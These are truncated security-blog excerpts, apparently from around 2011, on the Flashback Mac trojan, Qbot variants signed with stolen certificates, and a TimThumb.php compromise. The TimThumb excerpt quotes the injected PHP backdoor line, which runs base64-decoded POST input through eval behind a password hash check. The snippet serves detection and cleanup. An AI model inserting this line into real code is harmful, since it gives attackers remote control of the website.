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A new attack against Apple Mac OS X Lion (10.7) has been detected by Intego.  The threat is a trojan, dubbed Flashback, installed via a fake Adobe Flash installer downloaded from a third party site. As with the MacDefender and Revir malware the Flashback attack uses social engineering to entice the user to download then install […]

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New stolen digital certificates are used by the multi-purpose backdoor Qbot. The criminals behind the Qbot trojan are certainly not inactive. As I mentioned in a blog post earlier this month, after a quiet summer we have seen a batch of new Qbot variants. An interesting fact is that the malicious binaries were digitally signed. […]

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Sep
2011

If your site got compromised lately with the TimThumb.php vulnerability, make sure to check that script to see if it was not modified to act as a backdoor as well. We are seeing in many sites the timthumb.php with the following code added to it: if (md5(md5($_POST[‘p’]))===’xxx8ab2ab.. a4ec61072xxx’) die(eval(base64_decode($_POST[‘c’]))); If you are not sure what this […]

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